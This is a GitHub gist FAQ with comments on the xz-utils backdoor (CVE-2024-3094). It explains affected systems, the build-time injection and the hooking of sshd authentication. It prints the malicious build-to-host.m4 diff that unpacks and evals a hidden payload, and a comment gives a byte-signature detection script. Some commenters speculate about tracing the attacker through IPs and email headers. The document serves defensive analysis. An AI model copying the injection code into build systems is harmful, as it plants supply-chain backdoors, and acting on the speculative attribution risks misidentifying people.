Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active January 2, 2025 15:08
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@Z-nonymous
Copy link

Ok, so I'll apologize here, for just coming with suspicions instead of actual proofs. As one said I should have asked questions for some of the details, and my attitude was not correct.

@kbahey
Copy link

kbahey commented Mar 30, 2024

Does anyone know if Ubuntu 22.04 Server is affected, or what command I could run to know if I am affected? I'm not familiar with detecting installed library versions.

Like you, I am also running 22.04 LTS.

I think it is not affected, based on the the following:

First:

$ dpkg -l | grep lzma
ii  liblzma5:amd64 5.2.5-2ubuntu1

The version of xz is 5.2.5. The exploit was first introduced in 5.6.

Second:

if hexdump -ve '1/1 "%.2x"' /lib/x86_64-linux-gnu/liblzma.so.5 | 
grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then  
  echo "Probably vulnerable"
else 
  echo "Likely not vulnerable"
fi

This shell script shows that the library does not have the exploit's malicious function signature.

One reason I stay with LTS releases only is to reduce the amount of change in a given time period.

@cre0z
Copy link

cre0z commented Mar 30, 2024

I know You can not merge but you can commit.

That's how contributing works though... You fork a repository, commit to the forked repository, and open a PR (ask the original repository maintainers to merge the two branches together).

@dguglielmi
Copy link

dguglielmi commented Mar 30, 2024

Lasse Collin have published a page https://tukaani.org/xz-backdoor/

I think he spotted something else targeting cmake builds (in future)

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

@duracell
Copy link

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

@xry111
Copy link

xry111 commented Mar 30, 2024

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

But the script invokes ldd too :(

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

However I don't know in this case we may consider sshd "trusted" or not (liblzma.so is definitely untrusted).

We can use readelf -d /usr/sbin/sshd which will show libsystemd if the systemd-notify patch used. Note that running readelf -d on untrusted binaries is also dangerous (the Binutils maintainers say it's unsafe to do so w/o sandboxing), but we may consider sshd trusted here (liblzma.so is definitely untrusted)...

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

That's how contributing works though... You fork a repository, commit to the forked repository, and open a PR (ask the original repository maintainers to merge the two branches together).

Yes, I know, I only checked some PR/commits, and some of same group of persons seem to approve each other's PR, from random incoming bugs. but they might very well be legit anyway. I have seen mostly good commits and PRs anyway. But it's taking a huge time.

So for now I'm assuming I'm completely wrong, and I was paranoid. I'll try to do spend proper time to review or leave it to each maintainer to check code.

Again I apologize for the inappropriate conduct I had.

@Baadvo
Copy link

Baadvo commented Mar 30, 2024

@duracell
Copy link

But the script invokes ldd too :(

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

What? That's odd, I looked at a detect script which didn't use ldd. Sorry, then I mixed it up with this one. :(
Thanks for the clarification!

@vlad-ivanov-name
Copy link

Regarding this signature:

f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410

Has anyone been able to actually confirm that this function/binary includes the functionality described in the report? I'm looking at a matching binary and the function that starts with those bytes just chooses different implementation of CRC calculation based on the available instruction set, for which it does indeed call CPUID.

The report also claims some symbols were obfuscated in 5.6.1 but the symbol table looks identical with 5.6.0

@everything411
Copy link

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

Note that the detect.sh script also uses ldd.

path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

Attacking ldd needs some specific conditions. See https://sourceware.org/bugzilla/show_bug.cgi?id=22851.

Anyway, accoding to some current analysis about the backdorr, there is no evidence that the backdoored binary file can attack ldd.

So it seems that it's just ok to use ldd here.

@thesamesam
Copy link
Author

thesamesam commented Mar 30, 2024

Please be patient if I missed anything overnight, as I am just waking up and catching up to many messages on IRC etc.

@AN4364364 Thank you for asking politely. #tukaani on IRC before this incident was a very small, cosy community with about 10 members. I have been a member of the channel for a few years and I was around when the project switched from self-hosted -> github. I followed the Tukaani org and starred the gh repo when it moved and I guess it happened at that point.

My experience is different from the Fedora maintainer as I didn't receive any emails or anything like that encouraging me to update quickly, but then again, we updated quickly by ourselves. Or maybe I didn't receive encouragement because the script maybe checks just for rpm/deb. I don't know.

@LaRevoltage
Copy link

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No, the attacker's target were deb and rpm distros, since they're mainly the ones who patched SSHD for systemd-notifications.

Read https://www.openwall.com/lists/oss-security/2024/03/29/4

The source-based distros are the main enemies here for the attackers, because they're the ones most prone to find these problems. Thanks to @xry111 's contributions in these areas the systems will be much more hardened from now on.

Your accusations are quite dubious, since we're talking about a anonymous attacker in cahoots with a very known & public contributor. We can very well ask about your interest in keeping these unfounded accusations alive, feels like your intentions are less than noble.

I don't think heating this thread up with backwards accusations is great.
Also note that OP says multiple time, that he does not want to blame anyone because he may be wrong, and he is only conducting his own research, which I believe is a good thing to do.

@NuLL3rr0r
Copy link

1000059814

@AN4364364
Copy link

Thank you thesamesam for the response

also to @everything411

We cannot even determine whether Jia Tan is an individual person or a hacker group.

Fake name and VPN ip address cannot indicate any real information about the hacker(s) behind the account.

If people want to withold the IP addresses they have due to some moral belief about that category of previously-public data, I have no argument for that. But if people truly believe the IP address has zero value to ongoing efforts, that is factually wrong. Other parties hold data that may cross over with that user's IP address history (even accounting for false positives and how VPNs work).

Even if it's a, "I'll only give this privately to people who can positively identify themselves and prove they won't act like some Reddit user", that would be helpful and might mitigate the concerns around posting IP addresses publicly.

@everything411
Copy link

everything411 commented Mar 30, 2024

We should take all these information provided by Jia Tan himself as fake ones. fake name, fake ip address, fake country, fake timezone, etc.

What I said not mean that these ip address are of no value, but I don't want there is someone to blame other people just because of these very potentially fake infomation.

@LaRevoltage
Copy link

Is there any updates research on the matter yet?

@pillowtrucker
Copy link

$ echo hey everybody I worked on big commercial strong unix 25 years ago such as the fortress of security AIX and
#

@LaRevoltage
Copy link

About the question of a single individual/group

It seems that the following identities were used in the process prior and after the backdoor implementation:
Hans Jansen’s
Jigar Kumar

Their GitHub accounts are nearly as active as the main Jia account, and where used occasionally for pressuring updates/making one or two commits

It implies that there was actually one person with main account as Jia, and other accounts as his fakes, since a group would have managed to make all 3 accounts active.

Source:
https://boehs.org/node/everything-i-know-about-the-xz-backdoor

@everything411
Copy link

I just don't want anyone here to say something like "A Chinese/Asian name! These bad Chinese/Asian hackers!!".

That's wrong. It is very very likely that Jia Tan is just a fake identity. We cannot decide the one/ones behind Jia Tan.

@LaRevoltage
Copy link

Following the IP question:
First of all, it's not guaranteed that the actor's OPSEC was ideal, in fact, no one's is. If at least one request was made with unchanged IP it is a game over. We should also keep in mind that IP is not the only trace to person's real identity. If the actor didn't use whonix like system to randomify browser data, then he can be traced to at least a country with the language data browser send.

Another aspect is that it is relatively easy to check it the IP belonged to a VPN node or a Tor node, the only exception to this is residential proxies/VPNs. So if the real IP was in fact used in some request it wouldn't be quite hard to parse and determine.

Emails usually contain the IP of mailing computer in headers, were those already checked?

@arizvisa
Copy link

this gist thread is a shitshow. some posts are sensical, but then some are borderline paranoid and delusional. stop accusing accounts/countries/etc and then poking those things everywhere you find them. let the workers work.

@AN4364364
Copy link

replying to the large image posted depicting the "Jia Cheong Tan" name

I found a couple open source software copyright notes that include that name that were indexed by search engines, indicating their code (libarchive contributions) made it into some products.

https://www.tcsag.de/fileadmin/user_upload/Information_Open-Source-Software_PES_Pro_IP.pdf
https://amazon-source-code-downloads.s3.amazonaws.com/eero/eero-embedded/eero-oss-attribution-latest.txt

With zero commentary on the true ethnic background of the bad actor, as I don't think that's their real name, I think "Jia Cheong Tan" and "Jia Tan" are useful search terms. Only because they had to have reused it when operating this persona.

@cre0z
Copy link

cre0z commented Mar 30, 2024

As usual the actor will reveal itself by being most vocal about being innocent.

I personally doubt this would happen given the backdoor appears to be very sophisticated and has taken a lot of time to implement. Thus I can assume that the malicious actor is smart enough to not talk very much.

@snnn
Copy link

snnn commented Mar 30, 2024

I makes me think of one thing: if you ever heard of BinSkim and you add it to your build pipelines, then if anyone ever tried to insert a binary *.o file into your build like this, at least the malicious file needs be compiled with required security flags to prevent common attacks. It's better than doing nothing.

Also, no Linux distro ever run any static code analysis when building their packages. Never. Think how would be possible to insert clang-analyzer or CodeQL into rpm-build. And even if you do, nobody has enough time to address all the false positives.

On Windows we can use ApiValidator tool and a whitelist txt file to validate if all the Windows APIs the binary uses are in the whitelist. By doing this we can add a safety check in our build pipelines to warn us if a new API call was added. For example, if anyone ever tried to use CreateRemoteThread to create injections to another process, at least we could know that. However, it cannot handle indirect calls. Maybe some kind of static analysis could help us generate a list of parameters of all the GetProcAddress calls.

If your build environment is not in an isolated network, an attacker can host their payload in a public cloud storage(like Github) then download it during a build, which makes it hard to trace. For example, Python's manylinux docker images. Even you have verified the crypto checksums when downloading open source software's source code(like libxcrypt), it doesn't prevent them downloading more data during the build.

@arizvisa
Copy link

@NuLL3rr0r: ftr, there's also the [email protected] email account from the git logs, even mentioned by the OP, (which "sleuths" seem to have skipped over) that also has a corresponding GH account... but yeah, only internet stalkers care about that crap.

@waterkip
Copy link

Is there any updates research on the matter yet?

I recommend keeping an eye open here: https://openwall.com/lists/oss-security/2024/03/

@waterkip
Copy link

@NuLL3rr0r: ftr, there's also the [email protected] email account from the git logs, even mentioned by the OP, (which "sleuths" seem to have skipped over) that also has a corresponding GH account... but yeah, only internet stalkers care about that crap.

I mailmapped the repo yesterday, these are the units they have committed with:

Jia Cheong Tan <[email protected]> Jia Tan <[email protected]>
Jia Cheong Tan <[email protected]> Jia Tan <[email protected]>
Jia Cheong Tan <[email protected]> jiat75 <[email protected]>

@MagpieRYL
Copy link

I want to do some analyzing with the samples which I lack yet, like the polluted "sshd" binary or .so files.
Can any guys offer one if you have it? APPRECIATE SO MUCH !

@DanielRuf
Copy link

@arizvisa https://github.com/jiat75 is the "real" account, which commited all the time to xz.

You just don't see the PRs and commits there anymore, because the xz repo was disabled by GitHub.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment